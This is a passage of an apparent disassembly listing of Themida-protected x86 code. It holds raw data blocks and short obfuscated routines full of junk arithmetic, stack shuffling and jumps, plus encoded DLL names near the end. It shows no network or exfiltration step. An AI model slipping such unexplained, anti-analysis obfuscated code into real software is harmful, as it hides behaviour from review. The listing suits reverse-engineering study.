db 81h, 0E7h, 0BDh
dd 811B711Bh, 2C1D01EFh, 5FF90104h, 0C8BCA01h, 4C48124h
dd 1000000h, 0F707E9D5h, 815EFFFEh, 0AA042444h, 10A015Ah
dd 8104247Ch, 0AA04246Ch, 0E90A015Ah, 0FFFEC8FFh, 0B8240489h
dd 4, 48BC629h, 4EC8324h, 89242C89h, 4C581E5h, 68000000h
dd 0FE9h, 0BA241489h, 70613EB3h, 5CE9C231h
db 0ACh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56733F: ; CODE XREF: Themida_:00561D4Ej
sub ebp, edx
pop edx
add eax, ebp
pop ebp
jmp loc_55C7A5
; ---------------------------------------------------------------------------
loc_56734A: ; CODE XREF: Themida_:005629F2j
pop edx
jmp loc_5538C9
; ---------------------------------------------------------------------------
dd 1324685Ah, 4890000h, 1B7AB824h, 80E97E4Ah
db 2, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_567363: ; CODE XREF: Themida_:005574BFj
mov ebp, [esp]
add esp, 4
push ebp
push 0BD85E14h
pop ebp
shl ebp, 3
sub ebp, 1
not ebp
jmp loc_554541
; ---------------------------------------------------------------------------
dd 0C50A80B9h, 0C9E9816Bh, 8121D578h, 0CC176FE9h, 4E1C141h
dd 7A97C981h, 0C1816854h, 74DD14B5h, 7917F181h, 0CA01458Dh
dd 57C22959h, 0D86A5BBFh, 5FFA291Ah, 6C9B850h, 46E956D3h
dd 29FFFFCCh, 24048BC2h, 81E28952h, 4C2h, 4C28100h, 0E9000000h
dd 0FFFF788Dh
; ---------------------------------------------------------------------------
loc_5673D8: ; CODE XREF: Themida_:00555C52j
add ecx, 4
push edx
mov edx, 33963EDh
sub edx, 1
xor edx, 33963E8h
jmp loc_554700
; ---------------------------------------------------------------------------
dw 405h
dd 0E9000000h, 0FFFF19A9h, 4C481h, 3C870000h, 31665C24h
dd 0E99C2404h, 0FFFEB828h, 0CF80A6B7h, 5E951D0h, 89FFFEF5h
dd 0E2892414h, 0FEC15FE9h, 44815FFFh, 0BF00424h, 0BD556D80h
dd 24860A11h, 8246C01h, 247C015Dh, 11BB5304h, 2924860Ah
dd 0E908245Ch, 0FFFEB904h
; ---------------------------------------------------------------------------
loc_56744C: ; CODE XREF: Themida_:00556FDCj
pop ecx
jmp loc_561646
; ---------------------------------------------------------------------------
loc_567452: ; CODE XREF: Themida_:005552CAj
not ebp
jmp loc_561F67
; ---------------------------------------------------------------------------
db 2Dh, 72h, 74h
dd 1C8B21A6h, 4C48324h, 2B951h, 0C8010000h, 81240C8Bh
dd 4C4h, 17E95000h, 80FFFFBAh, 0EA28D9EDh, 0FED831E9h
dd 0A3E95DFFh, 8BFFFF91h, 62E9240Ch, 68FFFF6Dh, 5630h
dd 0FF240489h, 0FF042474h, 48B2434h, 4C48324h, 0FFE91AE9h
dd 91E95EFFh
db 53h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5674B3: ; CODE XREF: Themida_:0055E56Fj
push ecx
jmp loc_556D1A
; ---------------------------------------------------------------------------
db 83h, 0ECh, 4
dd 57242489h, 6269BE56h, 6DBF2A99h, 292A9962h, 0FE24E9F7h
dd 685FFFFFh, 3548h, 0BB241C89h, 25637843h, 581AC381h
dd 0E956779Ah, 0FFFFD098h, 4BF57h, 0F8010000h, 5F2434FFh
dd 41E955h, 66BF0000h, 0BA4ABD47h, 0C4F41250h, 815FFA01h
dd 1D718AEEh, 81D60131h, 1D718AC6h, 3CE95A31h, 0C100000Bh
dd 0D1F703E1h, 0C8E181h, 0C5E938BEh, 83FFFF2Bh, 0D3E904ECh
db 0E9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_567537: ; CODE XREF: Themida_:00564405j
or bl, dl
pop edx
jmp loc_567C15
; ---------------------------------------------------------------------------
db 89h
dd 4C581E5h, 52000000h, 4BAh, 8BD50100h, 0C4832414h, 242C8704h
dd 4C0835Ch, 5C240487h, 3FDB68h, 24048900h, 42474FFh, 7F39E958h
dd 0D689FFFFh, 273AE95Ah, 8B54FFFFh, 0C483242Ch, 4C58104h
dd 81000000h, 4C5h, 242C3300h, 33242C31h, 248B242Ch, 28F72C24h
dd 52F704D8h, 0CEFE2EB6h, 0FF06C0E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5675A9: ; CODE XREF: Themida_:00561A6Fj
sub edx, edi
jmp loc_558FE0
; ---------------------------------------------------------------------------
loc_5675B0: ; CODE XREF: Themida_:00566F78j
push ebx
jmp loc_567B11
; ---------------------------------------------------------------------------
dw 0C483h
dd 0E7C15B04h, 97F78108h, 0E943D141h, 0FFFEC447h
; ---------------------------------------------------------------------------
loc_5675C8: ; CODE XREF: Themida_:00563001j
dec ebp
push ebx
mov ebx, 601B7D6Dh
shl ebx, 6
inc ebx
sub ebx, 26F41BDh
xor ebx, 6A731795h
sub ebx, 33259893h
jmp loc_559CA0
; ---------------------------------------------------------------------------
loc_5675EA: ; CODE XREF: Themida_:00564EFAj
sub esp, 4
jmp loc_558823
; ---------------------------------------------------------------------------
db 5Eh, 0E9h, 0A1h
dd 5DFFFFEEh, 0FF04C483h, 0DFE92434h, 81FFFF62h, 4C5h
dd 242C3300h, 33242C31h, 248B242Ch, 2434FF24h, 81240C8Bh
dd 4C4h, 7DE66800h, 2C890000h, 10E1E924h, 0E95AFFFFh, 0FFFF456Fh
dd 9F240481h, 814D5314h, 100B242Ch, 4292DDBh, 16E0E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56764E: ; CODE XREF: Themida_:00563A43j
mov [esp], eax
mov eax, 1A1228C6h
xor eax, 1A1228C2h
sub ebx, 430648A3h
add ebx, eax
push esi
mov esi, 32035C4Fh
shl esi, 2
xor esi, 8B0B399Fh
push edi
mov edi, 7C2B5E0Ah
jmp loc_5619C7
; ---------------------------------------------------------------------------
db 5Bh, 5Dh, 1
dd 0CB295FF9h, 52240C8Bh, 0C281E289h, 4, 5204C283h, 0FEDD59E9h
dd 0B85059FFh, 175A68C1h, 0E0D1E8D1h, 0CD4AF405h, 0D02D3511h
dd 0C2012F24h, 0C7C68158h, 1211A0Bh, 0C7EE81D6h, 8B211A0Bh
dd 0C4812414h, 4, 54BE5657h, 896E364Ch, 0CF815EF7h, 31704367h
dd 1B68C781h, 81475E0Dh, 7C9524C7h, 5FFE2922h, 2474FF56h
dd 48F5E04h, 4895C24h, 26E95124h
db 96h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5676FB: ; CODE XREF: Themida_:00556967j
push edi
push ecx
push 5796h
mov [esp], edx
mov edx, 50EA3C1Bh
not edx
neg edx
or edx, 3D683D4Ch
shl edx, 5
not edx
xor edx, 21940DBDh
mov ecx, edx
pop edx
shl ecx, 1
or ecx, 18341C13h
sub ecx, 0DE7CBF93h
mov edi, ecx
mov ecx, [esp]
add esp, 4
add eax, 0C55318Ch
add eax, edi
sub eax, 0C55318Ch
mov edi, [esp]
add esp, 4
push eax
push dword ptr [esp+4]
pop eax
pop dword ptr [esp]
jmp loc_562053
; ---------------------------------------------------------------------------
loc_56775E: ; CODE XREF: Themida_:00560E30j
add esi, ecx
mov ecx, [esp]
add esp, 4
add esi, 4
push esi
jmp loc_55C567
; ---------------------------------------------------------------------------
db 0C1h
dd 0D3F705EBh, 762FC381h, 0F3817FAEh, 31B41D58h, 5B04CB81h
dd 0F38115CCh, 5553C359h, 0FFAB01E9h, 0B8E953FFh, 5AFFFF52h
dd 0FF19CCE9h, 241C87FFh, 8924248Bh, 0CD68243Ch, 8900006Ah
dd 47E92424h
db 0DEh, 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_5677B3: ; CODE XREF: Themida_:00567CF6j
mov esp, [esp]
push dword ptr [esp]
jmp loc_55506D
; ---------------------------------------------------------------------------
dw 14F7h
dd 242C8B24h, 4C481h, 0ED810000h, 73E320CAh, 0FF15ABE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5677D5: ; CODE XREF: Themida_:00553CB4j
mov eax, esi
mov esi, [esp]
jmp loc_55D68C
; ---------------------------------------------------------------------------
db 64h
dd 51E9028Fh
db 0B4h, 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_5677E7: ; CODE XREF: Themida_:005617BCj
mov edx, ebx
mov esi, edx
mov edx, [esp]
add esp, 4
mov ebx, [esp]
add esp, 4
sub esi, 59F154B3h
mov ebx, esi
pop esi
add ebx, 6DD7454Dh
add ebx, edi
push esi
jmp loc_555927
; ---------------------------------------------------------------------------
loc_56780E: ; CODE XREF: Themida_:0056161Ej
add ecx, 4
add ecx, 4
xchg ecx, [esp]
mov esp, [esp]
push dword ptr [esp]
pop eax
push 777Fh
jmp loc_554804
; ---------------------------------------------------------------------------
loc_56782E: ; CODE XREF: Themida_:0055B24Dj
add ecx, 1EA52BF1h
push ebp
mov ebp, 23C32BDBh
push edx
mov edx, 194D6C75h
jmp loc_555CFB
; ---------------------------------------------------------------------------
loc_567845: ; CODE XREF: Themida_:00562988j
push edx
mov edx, 4
add ebp, edx
pop edx
add ebp, 4
push ebp
jmp loc_557535
; ---------------------------------------------------------------------------
dw 0EA81h
dd 0A3D42F23h, 815AD389h, 8A623DF3h, 0D1DFE950h, 0C668FFFFh
dd 0E97FF556h, 0FFFFB4F5h, 4EC835Dh, 0E9240C89h, 0FFFF5D53h
dd 2434895Ch, 8904EC83h, 0CB68241Ch, 5B2C1224h, 0C14BD3F7h
dd 0C38107EBh, 7609660h, 835B5E53h, 3C8904ECh, 5AB0BF24h
dd 0F8297589h, 5F0015Fh, 75895AB0h, 0E924348Bh, 0FFFFF1DDh
; ---------------------------------------------------------------------------
loc_5678C0: ; CODE XREF: Themida_:0055515Cj
pop ebx
push 7397h
mov [esp], edx
push ebp
push ecx
mov ecx, 41E21676h
mov ebp, ecx
pop ecx
neg ebp
sub ebp, 44622E72h
jmp loc_55E72E
; ---------------------------------------------------------------------------
dd 0D2E9C6FEh, 0BAFFFEE6h, 4, 59F7BD55h, 9DE9027Bh
db 0Dh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5678F7: ; CODE XREF: Themida_:005672D0j
xchg eax, [esp]
pop esp
push ebp
push 6E80h
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
jmp loc_5571EA
; ---------------------------------------------------------------------------
dw 0C681h
dd 4, 5C243487h, 2474FF53h, 48F5B04h, 24248B24h, 8904EC83h
dd 0E789243Ch, 0FF4DBBE9h, 0E95A66FFh, 0FFFEB300h, 0AC26D0BEh
dd 677BE961h, 248BFFFFh, 0E9F76624h, 0E904EC83h, 0FFFF948Eh
dd 0E3E95652h, 81FFFF6Eh, 4C3h, 241C8700h, 68C3015Ch, 6110h
dd 0FF4CEBE9h, 64C9BBFFh, 0EB814C7Ch, 17FBEE71h, 1C8BD801h
dd 4C48124h, 5E000000h, 220068h, 243C8900h, 0FF272AE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_567991: ; CODE XREF: Themida_:005568B0j
pop esi
sub ebp, 5D202E78h
mov eax, [esp]
push 7226h
jmp loc_557434
; ---------------------------------------------------------------------------
db 0BEh, 0E8h, 63h
dd 0E6813CD4h, 7081224Ch, 0DEF7D6F7h, 48D8E681h, 0F68163E1h
dd 6B1A281Bh, 0E95EF001h, 0FFFF388Ah
; ---------------------------------------------------------------------------
loc_5679C8: ; CODE XREF: Themida_:0056031Cj
add esp, 4
pop edi
sub [edi+24h], eax
push dword ptr [esp]
push dword ptr [esp]
pop eax
push ecx
jmp loc_557041
; ---------------------------------------------------------------------------
db 0C1h
dd 0B85005EDh, 66867D19h, 5158C501h, 0FEB6ABE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5679F1: ; CODE XREF: Themida_:00565773j
xor ecx, [esp]
mov esp, [esp]
mov [esp], ax
jmp loc_552C38
; ---------------------------------------------------------------------------
dd 3304EA83h, 14312414h, 24143324h, 243C895Ch, 468h, 243C8B00h
dd 8104C483h, 8A6766EDh, 81FD014Ch, 8A6766C5h, 4F4BE94Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_567A2E: ; CODE XREF: Themida_:0056818Fj
add ebx, 1A9E295Bh
xor ebx, 71547097h
sub ebx, 0DB10D95Eh
or edx, ebx
pop ebx
push esi
mov esi, 0D507AC7Fh
sub edx, 1E3D4BBBh
add edx, esi
add edx, 1E3D4BBBh
pop esi
push esi
sub esp, 4
jmp loc_553E43
; ---------------------------------------------------------------------------
db 53h, 0B7h, 94h
dd 1C8BF908h, 8C58E924h, 7068FFFFh, 0E900004Fh, 0FFFEDD1Bh
; ---------------------------------------------------------------------------
loc_567A78: ; CODE XREF: Themida_:0055BBFDj
xor eax, ebx
pop ebx
xor ebp, eax
pop eax
add ecx, 6CBF322Eh
add ecx, ebp
sub ecx, 6CBF322Eh
mov ebp, [esp]
add esp, 4
jmp loc_5542A7
; ---------------------------------------------------------------------------
loc_567A9A: ; CODE XREF: Themida_:005602A8j
sub ecx, 0B7D6720h
add ecx, edx
add ecx, 0B7D6720h
push eax
mov eax, 0
add eax, ecx
mov [eax], esi
pop eax
pop ecx
pop edx
push dword ptr [esp]
mov esi, [esp]
add esp, 4
add esp, 4
xchg esi, [edi+20h]
push esi
not dword ptr [esp]
pop esi
jmp loc_55BD78
; ---------------------------------------------------------------------------
loc_567AD4: ; CODE XREF: Themida_:00566447j
xor edi, [esp]
mov esp, [esp]
jmp loc_552C38
; ---------------------------------------------------------------------------
db 50h
dd 9650B8B8h, 68480Fh, 57000000h, 0A4060ABFh, 247C2963h
dd 4295F04h, 24048124h, 63A4060Ah, 0AF4B3558h, 0EF81F069h
dd 0D6B178Dh, 0FF1FF7E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_567B11: ; CODE XREF: Themida_:005675B1j
mov ebx, 0DD1192Eh
jmp loc_555EF5
; ---------------------------------------------------------------------------
db 68h
dd 5A9272E6h, 4BD3F75Bh, 0D503C381h, 0C5E980F2h, 83FFFEC5h
dd 3C8904ECh, 2474FF24h, 48F5F04h, 24895C24h, 6845E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_567B46: ; CODE XREF: Themida_:005557C5j
mov edx, [esp]
add esp, 4
jmp loc_567C90
; ---------------------------------------------------------------------------
db 59h, 53h, 0BBh
dd 0D0FEE11Bh, 1C8BDF01h, 4C48124h, 29000000h, 0E3BEE9FEh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_567B6A: ; CODE XREF: Themida_:0055ECA1j
not eax
sub eax, 0BFCFB779h
add edx, eax
jmp loc_556115
; ---------------------------------------------------------------------------
loc_567B78: ; CODE XREF: Themida_:005614EAj
push eax
sub esp, 4
mov [esp], edx
mov dl, 0E8h
jmp loc_55846D
; ---------------------------------------------------------------------------
db 66h, 8Bh, 14h
dd 0E2895224h, 4C281h, 0C2810000h, 2, 0AC2AE952h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_567BA2: ; CODE XREF: Themida_:0055C7EEj
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
pop esp
sub esp, 4
mov [esp], ebx
push 3D550991h
jmp loc_55997B
; ---------------------------------------------------------------------------
loc_567BBC: ; CODE XREF: Themida_:0055AECBj
mov bl, 0BAh
mov dl, 0B2h
add dl, bl
mov ebx, [esp]
add esp, 4
jmp loc_55DD1C
; ---------------------------------------------------------------------------
db 89h, 1Ch, 24h
dd 0C381E389h, 4, 4C381h, 1C870000h, 97E95C24h
db 7Fh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_567BE7: ; CODE XREF: Themida_:0055A38Fj
sub edx, 19AB33FCh
jmp loc_5545C0
; ---------------------------------------------------------------------------
dw 0C701h
dd 0FF6150E9h, 0EDF281FFh, 96002D3h, 0ADE95AD3h, 81FFFF99h
dd 59A556F6h, 5EF001C5h, 0FF16D6E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_567C15: ; CODE XREF: Themida_:0056753Aj
push cx
mov cl, 55h
jmp loc_565F42
; ---------------------------------------------------------------------------
dw 0D9B9h
dd 31A1FF8Dh, 0F22959CEh
db 8Bh, 34h, 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_552C38
; ---------------------------------------------------------------------------
loc_567C43: ; CODE XREF: Themida_:0055372Ej
add esp, 4
jmp loc_560F36
; ---------------------------------------------------------------------------
db 1
dd 0D074E9C3h, 0C381FFFFh, 2ECE1535h, 0FEF241E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_567C5D: ; CODE XREF: Themida_:00563A06j
xor ecx, 577D7D1Eh
mov edi, ecx
pop ecx
add dword ptr [esp+4], 3D0C007Ch
sub [esp+4], edi
sub dword ptr [esp+4], 3D0C007Ch
push dword ptr [esp]
pop edi
add esp, 4
jmp loc_554653
; ---------------------------------------------------------------------------
db 5Ch, 55h, 0E9h
dd 0FFFEBC4Ah
; ---------------------------------------------------------------------------
loc_567C90: ; CODE XREF: Themida_:00567B4Cj
push ebp
mov ebp, 22B76EA6h
and ecx, ebp
mov ebp, [esp]
jmp loc_562529
; ---------------------------------------------------------------------------
dd 0F70C181h, 0E9D17998h, 896FC181h, 0BF57DB60h, 3F2A262Fh
dd 15FFB29h, 2FC381CBh, 0FF3F2A26h
db 34h, 24h, 59h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
mov ecx, 4
add ebp, 5B2626D6h
add ebp, ecx
sub ebp, 5B2626D6h
pop ecx
add ebp, 4
push ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
mov esp, [esp]
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
jmp loc_5677B3
; ---------------------------------------------------------------------------
loc_567CFB: ; CODE XREF: Themida_:0055A0B6j
mov [esp], esi
mov esi, 4
add ebx, esi
pop esi
push ecx
jmp loc_555545
; ---------------------------------------------------------------------------
loc_567D0C: ; CODE XREF: Themida_:0055A1C7j
mov [esp], eax
mov eax, 4
jmp loc_5647CB
; ---------------------------------------------------------------------------
loc_567D19: ; CODE XREF: Themida_:00558247j
mov eax, 4
add edx, eax
pop eax
xchg edx, [esp]
pop esp
mov edx, [esp]
add esp, 4
jmp loc_565BDB
; ---------------------------------------------------------------------------
dd 0F651CDFEh, 0E9012454h, 0FFFFB716h, 0FEAEF7E9h, 4BEFFh
dd 0C1810000h, 48BB6A2Bh, 45DE9h
db 0
; ---------------------------------------------------------------------------
loc_567D51: ; CODE XREF: Themida_:00556048j
xor ebp, 0F5EFD65Ch
add eax, ebp
pop ebp
push edi
mov edi, 4
add eax, edi
pop edi
xchg eax, [esp]
mov esp, [esp]
add ebp, 4
jmp loc_55AC84
; ---------------------------------------------------------------------------
dd 0FB6DE952h, 6851FFFFh, 6551h, 68243C89h, 424A0342h
dd 0FF8022E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_567D8D: ; CODE XREF: Themida_:0055B42Dj
mov ebp, 4DA060E8h
jmp loc_555112
; ---------------------------------------------------------------------------
db 0BFh
dd 40CE374Fh, 3E7C781h, 0F83121CAh, 1D042D5Fh, 0B951564Ch
dd 77A9527Fh, 0BCE3C181h, 0C80995D0h, 0C7983559h, 0C381843Dh
dd 241F7B23h, 0EB81C329h, 241F7B23h, 8324048Bh, 0D82904C4h
dd 4EC815Bh, 89000000h, 0FDE9241Ch, 0C1FFFF69h, 843505E0h
dd 1520C7Ah, 0C3358C1h, 240C3124h, 0E9240C33h, 0FFFFB902h
; ---------------------------------------------------------------------------
loc_567DFC: ; CODE XREF: Themida_:loc_56162Aj
shr edx, 1
cmp eax, edx
jz loc_566BF2
push esi
push ebp
mov ebp, 2233707Eh
jmp loc_55300B
; ---------------------------------------------------------------------------
dw 0C8Bh
dd 4C48124h, 68000000h, 41D8h, 0FFCDD1E9h, 924092FFh, 0FF815FE9h
dd 0DDBF57FFh, 2958B13Ch, 0F3E95FFDh, 1FFFF4Eh, 24048BC3h
dd 4C481h, 1C870000h, 15E6E924h, 3433FFFFh, 922DE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_567E56: ; CODE XREF: Themida_:00558EBFj
xchg esi, [esp]
pop esp
and [edi+1Ch], esi
pop esi
jmp loc_55B6A7
; ---------------------------------------------------------------------------
db 52h
dd 0FEC57CE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_567E69: ; CODE XREF: Themida_:00567EC8j
push 0C3Dh
mov [esp], eax
mov eax, esp
push ebp
jmp loc_55383E
; ---------------------------------------------------------------------------
db 50h, 0E9h, 6Bh
dd 5EFFFF0Bh, 761EE981h, 0B1E97C6Ah, 31FFFF80h, 4DE95DEAh
dd 66FFFF5Ah, 81240C8Bh, 2C4h, 0AEC38000h, 0FFD494E9h
dd 61F180FFh, 0E9EEE980h, 0FFFEF1EBh, 0FA333E2Dh, 5D00139h
dd 39FA333Eh, 92C1E957h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_567EC2: ; CODE XREF: Themida_:00566796j
mov edx, esi
push dword ptr [esp]
pop esi
jmp loc_567E69
; ---------------------------------------------------------------------------
db 29h, 0D1h, 5Ah
dd 0FF8845E9h, 0AD5EE9FFh, 1487FFFEh, 24248B24h, 0DFE930FFh
dd 5CFFFF9Ch, 66C82858h, 83240C8Bh, 0E95102C4h, 0FFFF1B9Dh
dd 4240481h, 8B000000h, 4CE9242Ch, 66FFFEB5h, 29E99C50h
dd 57FFFEADh, 0FF9EF8E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_567F15: ; CODE XREF: Themida_:00554043j
pop eax
mov ecx, [esp]
add esp, 4
jmp loc_5547F2
; ---------------------------------------------------------------------------
dd 0FEC78147h, 815DFE6Dh, 8C67F3EBh, 56FB0152h, 3A3AE8BEh
dd 0E9D6F714h, 0FFFF4315h
; ---------------------------------------------------------------------------
loc_567F40: ; CODE XREF: Themida_:0055F146j
sub eax, ebx
mov ebx, [esp]
add esp, 4
push edx
push 10h
push dword ptr [esp]
mov edx, [esp]
add esp, 4
push ebx
push esp
pop ebx
jmp loc_55A2CE
; ---------------------------------------------------------------------------
dw 315Fh
dd 0CF4DE9FEh, 34FFFFFEh, 0C4835B24h, 5EF30104h, 3D68E3D1h
dd 0E900007Ch, 0FFFFEDFAh, 0B278E405h, 58C301B9h, 15B5F53h
dd 243C8BF8h, 4C481h, 2050000h, 33000000h, 0EDE92404h
db 0E3h, 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_567FA3: ; CODE XREF: Themida_:0056107Ej
pop esp
push 833h
jmp loc_560352
; ---------------------------------------------------------------------------
dw 405h
dd 33000000h, 4312404h, 24043324h, 4C4815Ch, 68000000h
dd 6882h, 83241C89h, 248904ECh, 24048324h, 2434FF04h, 4EC815Bh
dd 89000000h, 8B542434h, 71E92434h, 53FFFF2Dh, 2A0E954h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_567FF2: ; CODE XREF: Themida_:0055F74Dj
push 7EAh
mov [esp], esi
jmp loc_55BB95
; ---------------------------------------------------------------------------
db 2Dh
dd 702D04A6h, 0A605D829h, 2D702D04h, 4DE73099h, 0DF14E952h
dd 8B66FFFEh, 64E92404h
db 5Ch, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56801F: ; CODE XREF: Themida_:005612A1j
mov edi, 4
jmp loc_566A86
; ---------------------------------------------------------------------------
db 0FFh, 74h, 24h
dd 24348B04h, 4C481h, 48F0000h, 24248B24h, 0FF9D84E9h
dd 74FF51FFh, 8F590424h, 0E95C2404h, 0FFFEABE8h, 7305F281h
dd 9AE994D4h, 29FFFF33h, 0CD6CE9F0h, 15DFFFFh, 0D44CE9CAh
dd 0CB87FFFFh, 55BDEB81h, 0DA895E0Ah, 4EC835Bh, 89243489h
dd 0DC90E9D6h, 815BFFFEh, 0CFF6BFC7h, 63E98109h, 293E074Dh
dd 97BA52F9h, 0F7101C45h, 1AC281DAh, 515AAB23h, 879020B9h
dd 93EA810Ch, 0E96EAD75h, 0FFFF379Eh, 240C8B66h, 4EC81h
dd 2C890000h, 14B06824h, 24890000h, 24048124h, 4, 16D5685Dh
dd 14E90000h, 66FFFF71h, 68C8B60Fh, 7D0Ah, 81241489h, 4ECh
dd 24248900h, 4240483h, 4EC815Ah, 89000000h, 0B850240Ch
dd 6E715828h, 0E8C1D8F7h, 3E0C102h, 1D4FAC2Dh, 58C18923h
dd 0FF02DDE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_568115: ; CODE XREF: Themida_:0055C335j
pop eax
add esp, 4
jmp loc_556103
; ---------------------------------------------------------------------------
loc_56811E: ; CODE XREF: Themida_:0055B98Cj
dec edx
add edx, 8AEDAB83h
mov esi, edx
pop edx
push esi
xor [esp], ebp
jmp loc_55510A
; ---------------------------------------------------------------------------
db 81h, 0C1h, 4
dd 83000000h, 0C8704C1h, 0EC815C24h, 4, 0E9240489h, 0FFFF329Eh
dd 0FEAAE7E9h, 5FC781FFh, 0E945E75Fh, 0FFFEB6CBh
; ---------------------------------------------------------------------------
loc_56815C: ; CODE XREF: Themida_:005581E6j
push edx
mov edx, 34CD0E54h
push edx
push esp
pop edx
add edx, 4
jmp loc_56141D
; ---------------------------------------------------------------------------
dd 0E924248Bh, 0FFFEB495h, 335EF101h, 5BE9240Ch
db 15h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_568183: ; CODE XREF: Themida_:00560773j
pop edx
jmp loc_559958
; ---------------------------------------------------------------------------
loc_568189: ; CODE XREF: Themida_:00564CEBj
push ebx
mov ebx, 5A3F331Ch
jmp loc_567A2E
; ---------------------------------------------------------------------------
loc_568194: ; CODE XREF: Themida_:0055953Dj
mov [esp], esi
jmp loc_55B977
; ---------------------------------------------------------------------------
dd 0F607EDC0h, 6CED80DDh, 2859EE00h, 0D273E9F4h, 0F101FFFFh
dd 6A2BE981h, 535E48BBh, 589AE951h, 36EBFFFFh, 52455355h
dd 642E3233h, 41006C6Ch, 50415644h, 2E323349h, 6C6C64h
dd 4C44544Eh, 6C642E4Ch, 7D7006Ch, 30009h, 2000Ch, 28000Ah
dd 0CEA402EDh, 70E91DC1h, 68000009h, 5EBA140h, 0FDDFBEE9h
dd 0A1BB68FFh, 0B4E905EBh, 68FFFDDFh, 5EBA2BBh, 0FDDFAAE9h
dd 0A43768FFh, 0A0E905EBh, 68FFFDDFh, 5EBA4AAh, 0FDDF96E9h
dd 0A5DB68FFh, 8CE905EBh, 68FFFDDFh, 5EBA63Dh, 0FDDF82E9h
dd 0E70E4EFFh, 79A8E4CAh, 0A39765Ch, 99CC07EDh, 2D58967Ch
dd 0DCD60C10h, 7056739Eh, 5EB082Fh, 987E9BC6h, 410E2B5Eh
dd 0BAECB260h, 99F21322h, 94684BBh, 0C49E41B1h, 632D5B86h
dd 577899C6h, 0C91AE5A9h, 0D673E916h, 321CFB1Ch, 29D7F81Ch
dd 13201465h, 7456F369h, 0ECC6CFFEh, 87517FB2h, 20CB30EAh
dd 5CB445F6h, 1A9B49ECh, 24C002E4h, 2A36235Fh, 711F60B0h
dd 0CF13A62Dh, 7DD93BB1h, 18E21043h, 0FC3913B6h, 0A698DE8Ch
dd 0B026CF13h, 0FA56204Eh, 3AF28FBEh, 0F70CCB23h, 3D70ABFCh
dd 0FB39478Ch, 0CF3193BAh, 6E777E2Ch, 85FBC5E8h, 9BCE08E2h
dd 13C7C9F8h, 0CC462C26h, 68A2882Fh, 0B6000435h, 574F933Ch
dd 7BD9Bh, 1B428200h, 0ADDC18FEh, 3E6DAA90h, 0CD003B21h
dd 618CCAB0h, 18A24044h, 0AC92AFDAh, 4127446Bh, 0D4BAD702h
dd 7D4A679Ah, 0BBA8EE9Ch, 0DD361322h, 5588C2FFh, 48B81027h
dd 4E5584A5h, 1482BD8Ah, 0CEE5A957h, 73E916C9h, 47BA7411h
dd 8B1C2F7Fh, 83B1DC1Bh, 0DAB457B9h, 6D53709Bh, 7E98B42Eh
dd 0B4C7152Dh, 42202AADh, 56B81AB8h, 0F72A6428h, 845DB0C6h
dd 6B271F69h, 742h, 83A0C707h, 1532619Dh, 0A6C3F22Fh, 355285C0h
dd 0C9E6114Fh, 57951DC5h, 0E8290F2Ch, 7FBEA4C1h, 17513754h
dd 19FAC7E4h, 22BB2B6Bh, 7C5AB313h, 3960A17Bh, 497CB69Ch
dd 0EA1D571Bh, 680D2CBCh, 0CFD39D43h, 609340h, 0C2590000h
dd 0A385588h, 3960A17Bh, 0ABE5410Bh, 2121DB78h, 6116C91Ah
dd 9ED7F427h, 1233D646h, 917882E3h, 69A763E3h, 0E446103Eh
dd 0F5998D47h, 0EEA51C32h, 20D57E40h, 0A80A8013h, 0C1EC2B05h
dd 9A06441Eh, 20D5AAECh, 5CBE3413h, 0F33218BFh, 16392CEh
dd 6A017D3h, 7E580000h, 1AE41241h, 5A7B4F7Dh, 0C91AEAACh
dd 0E17EF416h, 608EC1FBh, 0DE81F149h, 321A1B30h, 0C8E55B1Ch
dd 5875A8E2h, 7B08C71Fh, 5B31D2C8h, 1B4AED4Fh, 83B9554Ah
dd 0C7F49195h, 0C648EB19h, 16B92F19h, 0B5D2FD3Ch, 2E6B90CFh
dd 0A507D1FFh, 4679B377h, 6DDAA515h, 0C480786Fh, 642h
dd 83A0C707h, 1532619Dh, 0A6C3F22Fh, 355285C0h, 0C9E6114Fh
dd 57951DC5h, 0E8290F2Ch, 7FBEA4C1h, 17513754h, 19FAC7E4h
dd 22B82B6Bh, 7C5AB313h, 3863A17Bh, 77BB59Bh, 0C91A1559h
dd 0C1239916h, 6295CF93h, 0F085A434h, 0C91934E0h, 0C1853316h
dd 0CD16C91Bh, 0F1A0F557h, 0F140CFD6h, 0FFFFFEF0h, 0ADE889B8h
